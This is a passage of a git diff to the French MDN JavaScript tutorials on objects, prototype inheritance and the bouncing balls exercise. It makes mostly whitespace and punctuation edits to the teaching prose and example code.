`collisionDetect()` à chaque itération de la boucle. ### Implémenter le compteur de score Pour implémenter le compteur de score, suivez les étapes suivantes: -1. Dans votre fichier HTML, ajoutez un élement {{HTMLElement("p")}} qui contiendra le texte suivant "Ball count: ", juste en dessous de l'élément {{HTMLElement("h1")}} . +1. Dans votre fichier HTML, ajoutez un élement {{HTMLElement("p")}} qui contiendra le texte suivant "Ball count: ", juste en dessous de l'élément {{HTMLElement("h1")}} . 2. Dans votre fichier CSS, ajouter les règlesz suivantes: ```css @@ -176,7 +176,7 @@ Pour implémenter le compteur de score, suivez les étapes suivantes: ## Evaluation -Si vous effectuez cette évalutation dans le cadre d'un cours, vous devriez pouvoir fournir votre travail à votre professeur/mentor pour correction. Si vous apprenez par vous même, vous pouvez obtenir la correction sur [discussion thread for this exercise](https://discourse.mozilla.org/t/adding-features-to-our-bouncing-balls-demo-assessment/24689), ou sur [#mdn](irc://irc.mozilla.org/mdn) IRC channel sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Tout d'abord effectuez cet exercice — vous n'obtiendrez jamais rien en trichant ! +Si vous effectuez cette évalutation dans le cadre d'un cours, vous devriez pouvoir fournir votre travail à votre professeur/mentor pour correction. Si vous apprenez par vous même, vous pouvez obtenir la correction sur [discussion thread for this exercise](https://discourse.mozilla.org/t/adding-features-to-our-bouncing-balls-demo-assessment/24689), ou sur [#mdn](irc://irc.mozilla.org/mdn) IRC channel sur [Mozilla IRC](https://wiki.mozilla.org/IRC). Tout d'abord effectuez cet exercice — vous n'obtiendrez jamais rien en trichant ! {{PreviousMenuNext("Learn/JavaScript/Objects/Object_building_practice", "", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/javascript/objects/basics/index.md b/files/fr/learn/javascript/objects/basics/index.md index dfca7d223a..05f8f8baa5 100644 --- a/files/fr/learn/javascript/objects/basics/index.md +++ b/files/fr/learn/javascript/objects/basics/index.md @@ -41,9 +41,9 @@ Dans ce premier article sur les objets JavaScript, nous verrons la syntaxe des o ## Les bases de l'objet -Un objet est une collection de données apparentées et/ou de fonctionnalités (qui, souvent, se composent de plusieurs variables et fonctions, appelées propriétés et méthodes quand elles sont dans des objets). Prenons un exemple pour voir à quoi cela ressemble. +Un objet est une collection de données apparentées et/ou de fonctionnalités (qui, souvent, se composent de plusieurs variables et fonctions, appelées propriétés et méthodes quand elles sont dans des objets). Prenons un exemple pour voir à quoi cela ressemble. -Pour commencer, faites une copie locale de notre fichier [oojs.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html). Il contient peu de choses : un élément {{HTMLElement("script")}} pour écrire notre code à l'intérieur. Nous utiliserons ces éléments de base pour explorer les bases de la syntaxe objet. Durant cette exemple, vous devriez avoir [la console JavaScript des outils de développement](/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs#La_console_JavaScript) ouverte et prête, pour y saisir des commandes. +Pour commencer, faites une copie locale de notre fichier [oojs.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html). Il contient peu de choses : un élément {{HTMLElement("script")}} pour écrire notre code à l'intérieur. Nous utiliserons ces éléments de base pour explorer les bases de la syntaxe objet. Durant cette exemple, vous devriez avoir [la console JavaScript des outils de développement](/fr/docs/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs#La_console_JavaScript) ouverte et prête, pour y saisir des commandes. Comme souvent dans JavaScript, pour créer un objet, on commence avec la définition et l'initialisation d'une variable. Essayez de mettre le code ci-dessous sous le code déjà écrit de votre fichier JavaScript, puis sauvegardez et rafraichissez la page : @@ -51,7 +51,7 @@ Comme souvent dans JavaScript, pour créer un objet, on commence avec la défini var personne = {}; ``` -Désormais ouvrez la [console JavaScript](/fr/docs/Outils/Console_JavaScript#Ouvrir_la_Console_du_navigateur) de votre navigateur, saisissez `personne` à l'intérieur, et appuyez sur <kbd>Entrée</kbd>. Vous devriez obtenir le résultat suivant : +Désormais ouvrez la [console JavaScript](/fr/docs/Outils/Console_JavaScript#Ouvrir_la_Console_du_navigateur) de votre navigateur, saisissez `personne` à l'intérieur, et appuyez sur <kbd>Entrée</kbd>. Vous devriez obtenir le résultat suivant : ```js [object Object] @@ -74,7 +74,7 @@ var personne = { }; ``` -Après avoir sauvegardé et rafraîchit la page, essayez d'entrer les lignes suivantes dans le champ de saisie `input` : +Après avoir sauvegardé et rafraîchit la page, essayez d'entrer les lignes suivantes dans le champ de saisie `input` : ```js personne.nom @@ -105,7 +105,7 @@ La valeur d'un membre dans un objet peut être n'importe quoi — dans notre obj Dans cet exemple, l'objet est créé grâce à un **objet littéral** : on écrit littéralement le contenu de l'objet pour le créer. On distinguera cette structure des objets instanciés depuis des classes, que nous verrons plus tard. -C'est une pratique très courante de créer un objet en utilisant un objet littéral : par exemple, quand on envoie une requête au serveur pour transférer des données vers une base de données. +C'est une pratique très courante de créer un objet en utilisant un objet littéral : par exemple, quand on envoie une requête au serveur pour transférer des données vers une base de données. Envoyer un seul objet est bien plus efficace que d'envoyer ses membres de manière individuelle, et c'est bien plus simple de travailler avec un tableau quand on veut identifier des membres par leur nom. @@ -177,7 +177,7 @@ personne['age'] personne['nom']['prenom'] ``` -Cela ressemble beaucoup à la façon d'accéder aux éléments d'un tableau et c'est bien la même chose — au lieu d'utiliser un indice numérique pour sélectionner un élément, on utilise le nom associé à chaque valeur d'un membre. Ce n'est pas pour rien que les objets sont parfois appelés tableaux associatifs : ils associent des chaînes de caractères (les noms des membres) à des valeurs, de la même façon que les tableaux associent des nombres à des valeurs. +Cela ressemble beaucoup à la façon d'accéder aux éléments d'un tableau et c'est bien la même chose — au lieu d'utiliser un indice numérique pour sélectionner un élément, on utilise le nom associé à chaque valeur d'un membre. Ce n'est pas pour rien que les objets sont parfois appelés tableaux associatifs : ils associent des chaînes de caractères (les noms des membres) à des valeurs, de la même façon que les tableaux associent des nombres à des valeurs. ## Définir les membres d'un objet @@ -248,7 +248,7 @@ salutation: function() { } ``` -Vous vous demandez probablement ce que signifie « `this` ». Le mot-clé `this` se réfère à l'objet courant dans lequel le code est écrit — dans notre cas, `this` est l'équivalent de `personne`. Alors, pourquoi ne pas écrire `personne` à la place ? Comme vous le verrez dans l'article [la programmation JavaScript orientée objet pour les débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS), `this` est très utile — il permet de s'assurer que les bonnes valeurs sont utilisées quand le contexte d'un membre change (on peut par exemple avoir deux personnes, sous la forme de deux objets, avec des noms différents). +Vous vous demandez probablement ce que signifie « `this` ». Le mot-clé `this` se réfère à l'objet courant dans lequel le code est écrit — dans notre cas, `this` est l'équivalent de `personne`. Alors, pourquoi ne pas écrire `personne` à la place ? Comme vous le verrez dans l'article [la programmation JavaScript orientée objet pour les débutants](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS), `this` est très utile — il permet de s'assurer que les bonnes valeurs sont utilisées quand le contexte d'un membre change (on peut par exemple avoir deux personnes, sous la forme de deux objets, avec des noms différents). Essayons d'illustrer nos propos par une paire d'objet `personne` simplifiée : @@ -268,7 +268,7 @@ var personne2 = { } ``` -Dans ce cas, `personne1.salutation()` affichera "Bonjour ! Je suis Christophe.", tandis que `personne2.salutation()` affichera "Bonjour ! Je suis Bruno." alors que le code est le même dans les deux cas. Comme expliqué plus tôt, `this` est égal à l'objet dans lequel se situe le code. Ce n'est pas très utile quand on écrit des objets littéraux à la main, mais ça prend tout son sens quand on génère des objets dynamiques (avec des constructeurs par exemple). +Dans ce cas, `personne1.salutation()` affichera "Bonjour ! Je suis Christophe.", tandis que `personne2.salutation()` affichera "Bonjour ! Je suis Bruno." alors que le code est le même dans les deux cas. Comme expliqué plus tôt, `this` est égal à l'objet dans lequel se situe le code. Ce n'est pas très utile quand on écrit des objets littéraux à la main, mais ça prend tout son sens quand on génère des objets dynamiques (avec des constructeurs par exemple). ## Vous utilisiez des objets depuis le début ! @@ -291,7 +291,7 @@ var maVideo = document.querySelector('video'); Vous utilisez une méthode disponible dans l'instance de la classe {{domxref("Document")}}. Pour chaque page web chargée, une instance de `Document` est créée, appelée `document` et qui représente la structure entière de la page, son contenu et d'autres caractéristiques telles que son URL. Encore une fois, cela signifie qu'elle possède plusieurs méthodes/propriétés communes. -C'est également vrai pour beaucoup d'autres objets/API natifs que vous avez utilisé — {{jsxref("Array")}}, {{jsxref("Math")}}, etc. +C'est également vrai pour beaucoup d'autres objets/API natifs que vous avez utilisé — {{jsxref("Array")}}, {{jsxref("Math")}}, etc. On notera que les objets/API natifs ne créent pas toujours automatiquement des instances d'objet. Par exemple, [l'API Notifications](/fr/docs/Web/API/Notifications_API) — qui permet aux navigateurs modernes de déclencher leurs propres notifications — vous demande d'instancier vous-même une nouvelle instance d'objet en utilisant le constructeur pour chaque notification que vous souhaitez lancer. Essayez d'entrer le code ci-dessous dans la console JavaScript : @@ -305,7 +305,7 @@ Nous verrons les constructeurs dans un prochain article. ## Résumé -Félicitations, vous avez terminé notre premier article sur les objets JavaScript — vous devriez maintenant mieux comprendre comment on travaille avec des objets en JavaScript. Vous avez pu créer vos propres objets basiques. Vous devriez aussi voir que les objets sont très pratiques pour stocker des données et des fonctionnalités. Si on ne passe pas par un objet et qu'on a une variable différente pour chaque propriété et méthode de notre objet `personne`, cela sera inefficace et frustrant et vous prendrez le risque de créer des conflits avec d'autres variables et fonctions du même nom. +Félicitations, vous avez terminé notre premier article sur les objets JavaScript — vous devriez maintenant mieux comprendre comment on travaille avec des objets en JavaScript. Vous avez pu créer vos propres objets basiques. Vous devriez aussi voir que les objets sont très pratiques pour stocker des données et des fonctionnalités. Si on ne passe pas par un objet et qu'on a une variable différente pour chaque propriété et méthode de notre objet `personne`, cela sera inefficace et frustrant et vous prendrez le risque de créer des conflits avec d'autres variables et fonctions du même nom. Les objets permettent de conserver les informations de façon sûre, enfermées dans leur propre « paquet », hors de danger. diff --git a/files/fr/learn/javascript/objects/classes_in_javascript/index.md b/files/fr/learn/javascript/objects/classes_in_javascript/index.md index 29263128cc..c553750aab 100644 --- a/files/fr/learn/javascript/objects/classes_in_javascript/index.md +++ b/files/fr/learn/javascript/objects/classes_in_javascript/index.md @@ -47,7 +47,7 @@ Les présentations ayant été faites pour les concepts du JavaScript orienté o Nous avons déjà vu le concept d'héritage en action, nous avons vu comment la chaîne de prototypage fonctionnait, et comment les propriétés de cette chaîne sont lues de manière ascendante. En revanche,nous n'avons utilisé pratiquement que quelques fonctionnalités déjà intégrées dans le navigateur pour le faire. Comment créer un objet JavaScript qui hérite d'un autre objet ? -Certains pensent que JavaScript n'est pas un véritable langage orienté objet. Dans les langages orientés objets classiques, on définit des classes objet et on peut ensuite définir laquelle hérite d'une autre (voir [C++ inheritance](http://www.tutorialspoint.com/cplusplus/cpp_inheritance.htm) en anglais pour des exemples simples). JavasScript utilise une approche différente : les objets héritant d'un autre n'ont pas de fonctionnalités copiées d'un autre objet, au lieu de ça, ils héritent des fonctionnalités via les liens de la chaîne de prototypage (on parle alors d'un **héritage prototypique**). +Certains pensent que JavaScript n'est pas un véritable langage orienté objet. Dans les langages orientés objets classiques, on définit des classes objet et on peut ensuite définir laquelle hérite d'une autre (voir [C++ inheritance](http://www.tutorialspoint.com/cplusplus/cpp_inheritance.htm) en anglais pour des exemples simples). JavasScript utilise une approche différente : les objets héritant d'un autre n'ont pas de fonctionnalités copiées d'un autre objet, au lieu de ça, ils héritent des fonctionnalités via les liens de la chaîne de prototypage (on parle alors d'un **héritage prototypique**). Voyons comment cela se passe avec un exemple concret. @@ -109,9 +109,9 @@ Cependant cela aurait eu pour effet de redéfinir les attributs à nouveau, sans -### Hériter d'un constructeur sans paramètres +### Hériter d'un constructeur sans paramètres -Notez que si les valeurs des propriétés du constructeur dont vous héritez ne proviennent pas de paramètres, vous n'avez nullement besoin de les specifier comme arguments additionnels dans l'appel de la fonction `call()`. Donc, par exemple, si vous avez quelque chose d'aussi simple que ceci : +Notez que si les valeurs des propriétés du constructeur dont vous héritez ne proviennent pas de paramètres, vous n'avez nullement besoin de les specifier comme arguments additionnels dans l'appel de la fonction `call()`. Donc, par exemple, si vous avez quelque chose d'aussi simple que ceci : ```js function Brick() { @@ -120,7 +120,7 @@ function Brick() { } ``` -Vous pouvez hériter des propriétés `width` et `height` en procédant comme ceci (Mais également en suivant bien sûr les différentes étapes décrites ci dessous) : +Vous pouvez hériter des propriétés `width` et `height` en procédant comme ceci (Mais également en suivant bien sûr les différentes étapes décrites ci dessous) : ```js function BlueGlassBrick() { @@ -131,31 +131,31 @@ function BlueGlassBrick() { } ``` -Notez que nous n'avons spécifié que `this` au sein de `call()` — Aucun autre paramètre n'est requis puisque nous n'héritons ici d'aucune propriété provenant de la classe parente qui soit spécifiée via paramètres. +Notez que nous n'avons spécifié que `this` au sein de `call()` — Aucun autre paramètre n'est requis puisque nous n'héritons ici d'aucune propriété provenant de la classe parente qui soit spécifiée via paramètres. ## Définir le prototype de Professeur() et son constructeur référent. -Pour le moment tout va bien, mais nous avons un petit problème. Nous avons défini un nouveau constructeur et ce dernier possède une propriété `prototype`, qui par défaut ne contient qu'une référence à la fonction constructrice elle même. En revanche il ne contient pas les méthodes de la propriété `prototype` du constructeur `Personne()`. Pour le constater, vous pouvez par exemple entrer `Professeur.prototype.constructor` dans la console JavaScript pour voir ce qu'il en est. Le nouveau constructeur n'a en aucun cas hérité de ces méthodes. Pour le constater, comparez les sorties de `Personne.prototype.saluer` et de `Professeur.prototype.saluer` +Pour le moment tout va bien, mais nous avons un petit problème. Nous avons défini un nouveau constructeur et ce dernier possède une propriété `prototype`, qui par défaut ne contient qu'une référence à la fonction constructrice elle même. En revanche il ne contient pas les méthodes de la propriété `prototype` du constructeur `Personne()`. Pour le constater, vous pouvez par exemple entrer `Professeur.prototype.constructor` dans la console JavaScript pour voir ce qu'il en est. Le nouveau constructeur n'a en aucun cas hérité de ces méthodes. Pour le constater, comparez les sorties de `Personne.prototype.saluer` et de `Professeur.prototype.saluer` -Notre classe `Professeur()` doit hériter des méthodes définies dans le prototype de `Personne()`. Aussi comment procéder pour obtenir ce résultat ? +Notre classe `Professeur()` doit hériter des méthodes définies dans le prototype de `Personne()`. Aussi comment procéder pour obtenir ce résultat ? Ajoutez la ligne suivante à la suite du bloc de code que nous venons d'ajouter : Professeur.prototype = Object.create(Personne.prototype); -1. Ici, notre ami [`create()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create) vient nous aider à nouveau. Dans ce cas, on l'utilise afin de créer un nouvel objet que nous assignons à `Professeur.prototype`. Le nouvel objet possède `Personne.prototype` désormais comme son prototype et héritera ainsi, si et quand le besoin se fera sentir, de toutes les méthodes disponible sur `Personne.prototype`. -2. Nous avons également besoin de faire encore une chose avant de continuer. Après avoir ajouté la ligne précédente, le constructeur du prototype de `Professeur()` est désormais équivalent à celui de `Personne()`, parce que nous avons défini `Professeur.prototype` pour référencer un objet qui hérite ses propriétés de `Personne.prototype` ! Essayez, après avoir sauvegardé votre code et rechargé la page, d'entrer `Professeur.prototype.constructor` dans la console pour vérifier. -3. Cela peut devenir problématique, autant le corriger dès maintenant. C'est possible via l'ajout de la ligne de code suivante à la fin : +1. Ici, notre ami [`create()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/create) vient nous aider à nouveau. Dans ce cas, on l'utilise afin de créer un nouvel objet que nous assignons à `Professeur.prototype`. Le nouvel objet possède `Personne.prototype` désormais comme son prototype et héritera ainsi, si et quand le besoin se fera sentir, de toutes les méthodes disponible sur `Personne.prototype`. +2. Nous avons également besoin de faire encore une chose avant de continuer. Après avoir ajouté la ligne précédente, le constructeur du prototype de `Professeur()` est désormais équivalent à celui de `Personne()`, parce que nous avons défini `Professeur.prototype` pour référencer un objet qui hérite ses propriétés de `Personne.prototype` ! Essayez, après avoir sauvegardé votre code et rechargé la page, d'entrer `Professeur.prototype.constructor` dans la console pour vérifier. +3. Cela peut devenir problématique, autant le corriger dès maintenant. C'est possible via l'ajout de la ligne de code suivante à la fin : Professeur.prototype.constructor = Professeur; -4. A présent, si vous sauvegardez et rafraichissez après avoir écrit `Professeur.prototype.constructor`, cela devrait retourner `Professeur()`, et en plus nous héritons maintenant de `Personne()` ! +4. A présent, si vous sauvegardez et rafraichissez après avoir écrit `Professeur.prototype.constructor`, cela devrait retourner `Professeur()`, et en plus nous héritons maintenant de `Personne()` ! ## Donner au prototype de Professeur() une nouvelle fonction saluer() Pour terminer notre code, nous devons définir une nouvelle fonction `saluer()` sur le constructeur de `Professeur()`. -La façon la plus facile d'accomplir cela est de la définir sur le prototype de Professeur() — ajoutez ceci à la suite de votre code : +La façon la plus facile d'accomplir cela est de la définir sur le prototype de Professeur() — ajoutez ceci à la suite de votre code : Professeur.prototype.saluer = function() { var prefix; @@ -171,17 +171,17 @@ La façon la plus facile d'accomplir cela est de la définir sur le prototype de alert('Bonjour. Mon nom est ' + prefix + ' ' + this.nom_complet.nom + ', et j\'enseigne ' + this.matiere + '.'); }; -Ceci affiche la salutation du professeur, qui utilise le titre de civilité approprié à son genre, au moyen d'une instruction conditionnelle. +Ceci affiche la salutation du professeur, qui utilise le titre de civilité approprié à son genre, au moyen d'une instruction conditionnelle. ## Exécuter l'exemple -Une fois tout le code saisi, essayez de créer une instance d'objet `Professeur()` en ajoutant à la fin de votre JavaScript (ou à l'endroit de votre choix) : +Une fois tout le code saisi, essayez de créer une instance d'objet `Professeur()` en ajoutant à la fin de votre JavaScript (ou à l'endroit de votre choix) : var professeur1 = new Professeur('Cédric', 'Villani', 44, 'm', ['football', 'cuisine'], 'les mathématiques'); -Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes de votre nouvel objet `professeur1`, par exemple : +Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes de votre nouvel objet `professeur1`, par exemple : professeur1.nom_complet.nom; professeur1.interets[0]; @@ -189,59 +189,59 @@ Sauvegardez et actualisez, et essayez d'accéder aux propriétés et méthodes d professeur1.matiere; professeur1.saluer();Ffa -Tout cela devrait parfaitement fonctionner. Les instructions des lignes 1,2,3 et 6 accèdent à des membres hérités de la classe générique `Personne()` via son constructeur, tandis que la ligne 4 accède de façon plus spécifique à un membre qui n'est disponible que via le constructeur de la classe spécialisée `Professeur()`. +Tout cela devrait parfaitement fonctionner. Les instructions des lignes 1,2,3 et 6 accèdent à des membres hérités de la classe générique `Personne()` via son constructeur, tandis que la ligne 4 accède de façon plus spécifique à un membre qui n'est disponible que via le constructeur de la classe spécialisée `Professeur()`. -**Note**: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre [version finalisée](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html) (Ou regarder tourner [notre demo en ligne](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html)). +**Note**: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre [version finalisée](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html) (Ou regarder tourner [notre demo en ligne](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html)). -La méthode que nous avons détaillée ici n'est pas la seule permettant de mettre en place l'héritage de classes en JavaScript, mais elle fonctionne parfaitement et elle vous permet d'avoir une bonne idée de comment implémenter l'héritage en JavaScript. +La méthode que nous avons détaillée ici n'est pas la seule permettant de mettre en place l'héritage de classes en JavaScript, mais elle fonctionne parfaitement et elle vous permet d'avoir une bonne idée de comment implémenter l'héritage en JavaScript. -Vous pourriez également être intéressé par certaines des nouvelles fonctionnalités de {{glossary("ECMAScript")}} qui nous permettent de mettre en place l'héritage d'une façon beaucoup plus élégante en JavaScript (Voir [Classes](/fr/docs/Web/JavaScript/Reference/Classes)). Nous ne les avons pas développées ici parce qu'elles ne sont actuellement pas supportées par tous les navigateurs. Toutes les autres constructions dont nous avons discuté dans cette série d'articles sont supportées par IE9 et les versions moins récentes et il existe des méthodes qui prennent plus en charge les navigateurs moins récents. +Vous pourriez également être intéressé par certaines des nouvelles fonctionnalités de {{glossary("ECMAScript")}} qui nous permettent de mettre en place l'héritage d'une façon beaucoup plus élégante en JavaScript (Voir [Classes](/fr/docs/Web/JavaScript/Reference/Classes)). Nous ne les avons pas développées ici parce qu'elles ne sont actuellement pas supportées par tous les navigateurs. Toutes les autres constructions dont nous avons discuté dans cette série d'articles sont supportées par IE9 et les versions moins récentes et il existe des méthodes qui prennent plus en charge les navigateurs moins récents. Un moyen habituel est d'utiliser les librairies JavaScript — La plupart des options populaires ont une sélection de fonctionnalités disponibles pour réaliser l'héritage plus facilement et plus rapidement. -[CoffeeScript](http://coffeescript.org/#classes) par exemple fournit les fonctionnalités `class`, `extends`, etc. +[CoffeeScript](http://coffeescript.org/#classes) par exemple fournit les fonctionnalités `class`, `extends`, etc. ## Un exercice plus complexe. -Dans notre [section sur la programmation orientée objet](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters) nous avons également inclus une classe `Etudiant` comme un concept qui hérite de toutes les fonctionnalités de la classe `Personne`, et qui a également une méthode `saluer()` differente de celle de `Personne` qui est beaucoup moins formelle que la méthode `saluer()` de `Professeur()`. Jetez un oeil à ce à quoi ressemble la méthode `saluer()` de la classe `Etudiant` dans cette section et essayez d'implémenter votre propre constructeur `Etudiant()` qui hérite de toutes les fonctionnalités de `Personne()` et la fonction `saluer()` différente. +Dans notre [section sur la programmation orientée objet](/fr/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters) nous avons également inclus une classe `Etudiant` comme un concept qui hérite de toutes les fonctionnalités de la classe `Personne`, et qui a également une méthode `saluer()` differente de celle de `Personne` qui est beaucoup moins formelle que la méthode `saluer()` de `Professeur()`. Jetez un oeil à ce à quoi ressemble la méthode `saluer()` de la classe `Etudiant` dans cette section et essayez d'implémenter votre propre constructeur `Etudiant()` qui hérite de toutes les fonctionnalités de `Personne()` et la fonction `saluer()` différente. -**Note**: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre [version finalisée](https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html) (Ou regarder tourner [notre demo en ligne](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html)). +**Note**: Si vous rencontrez un problème afin de faire fonctionner ce code comparez le à notre [version finalisée](https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html) (Ou regarder tourner [notre demo en ligne](http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html)). ## Résumé sur les membres de l'Objet Pour résumer, vous avez de façon basique trois types de propriétés/méthodes à prendre en compte : -1. Celles définies au sein d'un constructeur et passées en paramètres aux instances de l'objet. Celles là ne sont pas difficiles à repérer — Dans votre propre code personnalisé, elles sont les membres définis en utilisant les lignes comme `this.x = x` ; Dans les codes préconstruits propres aux navigateurs, ils sont les membres seulement accessibles aux instances d'objet (usuellement créés en appelant un constructeur via l'utilisation du mot clé `new`, exemple : `var myInstance = new myConstructor()`). -2. Celles définies directement sur les constructeurs eux mêmes et accessibles uniquement sur les constructeurs. Celles là sont communément présentes uniquement dans les objets préconstruits des navigateurs et sont reconnus par le fait d'être directement chaînées sur un constructeur et non sur une instance. Par exemple, [`Object.keys()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/keys). -3. Celles définies sur un prototype de constructeur qui sont héritées par toutes les instances des classes d'objet. Celles là incluent n'importe quel membre défini sur un prototype de constructeur, exemple : `myConstructor.prototype.x()`. +1. Celles définies au sein d'un constructeur et passées en paramètres aux instances de l'objet. Celles là ne sont pas difficiles à repérer — Dans votre propre code personnalisé, elles sont les membres définis en utilisant les lignes comme `this.x = x` ; Dans les codes préconstruits propres aux navigateurs, ils sont les membres seulement accessibles aux instances d'objet (usuellement créés en appelant un constructeur via l'utilisation du mot clé `new`, exemple : `var myInstance = new myConstructor()`). +2. Celles définies directement sur les constructeurs eux mêmes et accessibles uniquement sur les constructeurs. Celles là sont communément présentes uniquement dans les objets préconstruits des navigateurs et sont reconnus par le fait d'être directement chaînées sur un constructeur et non sur une instance. Par exemple, [`Object.keys()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/keys). +3. Celles définies sur un prototype de constructeur qui sont héritées par toutes les instances des classes d'objet. Celles là incluent n'importe quel membre défini sur un prototype de constructeur, exemple : `myConstructor.prototype.x()`. Si vous êtes encore dans la confusion par rapport aux différents types ne vous inquiétez pas c'est normal — vous êtes encore entrain d'apprendre et la familiarité apparaîtra avec la pratique. -## Quand devez-vous utiliser l'héritage en JavaScript? +## Quand devez-vous utiliser l'héritage en JavaScript? -Particulièrement après ce dernier article, vous pourriez penser "woa c'est compliqué". Bien, vous avez vu juste, prototypes et héritages représentent une partie des aspects les plus complexes de JavaScript, mais une bonne partie de la puissance et de la flexibilité de JavaScript vient de sa structure Objet et de l'héritage et il est vraiment très important de comprendre comment cela fonctionne. +Particulièrement après ce dernier article, vous pourriez penser "woa c'est compliqué". Bien, vous avez vu juste, prototypes et héritages représentent une partie des aspects les plus complexes de JavaScript, mais une bonne partie de la puissance et de la flexibilité de JavaScript vient de sa structure Objet et de l'héritage et il est vraiment très important de comprendre comment cela fonctionne. -D'une certaine manière, vous utilisez l'héritage à plein temps — Que vous utilisiez différentes fonctionnalités d'une WebAPI , ou une méthode/propriété définie par défaut sur un objet prédéfini du navigateur que vous invoquez sur vos chaînes de caractères, tableaux etc., vous utilisez de façon implicite l'héritage. +D'une certaine manière, vous utilisez l'héritage à plein temps — Que vous utilisiez différentes fonctionnalités d'une WebAPI , ou une méthode/propriété définie par défaut sur un objet prédéfini du navigateur que vous invoquez sur vos chaînes de caractères, tableaux etc., vous utilisez de façon implicite l'héritage. -En termes d'utilisation de l'héritage dans votre propre code, vous ne l'utiliserez probablement pas si souvent et spécialement pour débuter avec, et dans les petits projets — C'est une perte de temps d'utiliser les objets et l'héritage par amour pour cette pratique quand vous n'en avez pas besoin. Mais à mesure que les bases de votre code s'élargissent vous trouverez cette façon de faire probablement très utile. Si vous trouvez utile et plus pratique de commencer en créant un certain nombre d'objets spécialisés partageant les mêmes fonctionnalités, alors créer un objet générique qui contiendra toutes les fonctionnalités communes dont les objets spécialisés hériteront vous apparaîtra être une pratique peut être plus confortable et efficace par la suite. +En termes d'utilisation de l'héritage dans votre propre code, vous ne l'utiliserez probablement pas si souvent et spécialement pour débuter avec, et dans les petits projets — C'est une perte de temps d'utiliser les objets et l'héritage par amour pour cette pratique quand vous n'en avez pas besoin. Mais à mesure que les bases de votre code s'élargissent vous trouverez cette façon de faire probablement très utile. Si vous trouvez utile et plus pratique de commencer en créant un certain nombre d'objets spécialisés partageant les mêmes fonctionnalités, alors créer un objet générique qui contiendra toutes les fonctionnalités communes dont les objets spécialisés hériteront vous apparaîtra être une pratique peut être plus confortable et efficace par la suite. -**Note**: A cause de la manière dont JavaScript fonctionne, avec la chaîne de prototype, etc., le partage de fonctionnalités entre objet est souvent appelée **délégation** — Les objets spécialisés délèguent cette fonctionnalité à l'objet de type générique. C'est certainement beaucoup plus précis que de l'appeler héritage, puisque la fonctionnalité "héritée" n'est pas copiée dans les objets qui "héritent". Au contraire, elle demeure dans l'objet générique. +**Note**: A cause de la manière dont JavaScript fonctionne, avec la chaîne de prototype, etc., le partage de fonctionnalités entre objet est souvent appelée **délégation** — Les objets spécialisés délèguent cette fonctionnalité à l'objet de type générique. C'est certainement beaucoup plus précis que de l'appeler héritage, puisque la fonctionnalité "héritée" n'est pas copiée dans les objets qui "héritent". Au contraire, elle demeure dans l'objet générique. -Lorsque vous utilisez l'héritage, il est conseillé de ne pas avoir trop de degrés d'héritage et de toujours garder minutieusement trace de l'endroit où vous définissez vos propriétés et méthodes. Il est possible de commencer à écrire un code qui modifie temporairement les prototypes des objets prédéfinis du navigateur mais vous ne devriez pas le faire à moins que n'ayiez une très bonne raison. Trop de degrés d'héritages peut conduire à une confusion sans fin et une peine sans fin quand vous essayez de déboguer un tel code. +Lorsque vous utilisez l'héritage, il est conseillé de ne pas avoir trop de degrés d'héritage et de toujours garder minutieusement trace de l'endroit où vous définissez vos propriétés et méthodes. Il est possible de commencer à écrire un code qui modifie temporairement les prototypes des objets prédéfinis du navigateur mais vous ne devriez pas le faire à moins que n'ayiez une très bonne raison. Trop de degrés d'héritages peut conduire à une confusion sans fin et une peine sans fin quand vous essayez de déboguer un tel code. -En définitive, les objets sont juste une autre forme de réutilisation de code comme les fonctions et les boucles avec leurs propres rôles et avantages. Si vous trouvez utile de créer un lot de variables et fonctions relatives et que vous voulez les retracer ensemble et les empaqueter de façon ordonnée, un objet est une bonne idée. Les objets sont également très utiles quand vous souhaitez passer une collection de données d'un endroit à un autre. Toutes ces choses peuvent être accomplies sans l'utilisation d'un constructeur ou de l'héritage. Si vous n'avez besoin que d'une seule instance, l'utilisation d'un simple objet littéral serait certainement un choix beaucoup plus judicieux et vous n'avez certainement pas besoin de l'héritage. +En définitive, les objets sont juste une autre forme de réutilisation de code comme les fonctions et les boucles avec leurs propres rôles et avantages. Si vous trouvez utile de créer un lot de variables et fonctions relatives et que vous voulez les retracer ensemble et les empaqueter de façon ordonnée, un objet est une bonne idée. Les objets sont également très utiles quand vous souhaitez passer une collection de données d'un endroit à un autre. Toutes ces choses peuvent être accomplies sans l'utilisation d'un constructeur ou de l'héritage. Si vous n'avez besoin que d'une seule instance, l'utilisation d'un simple objet littéral serait certainement un choix beaucoup plus judicieux et vous n'avez certainement pas besoin de l'héritage. ## Résumé -Cet article a couvert le reste du coeur de la théorie du JSOO et des syntaxes que nous pensons que vous devriez connaître maintenant. A cet stade vous devriez comprendre l'objet JavaScript et les bases de la POO, les prototypes et 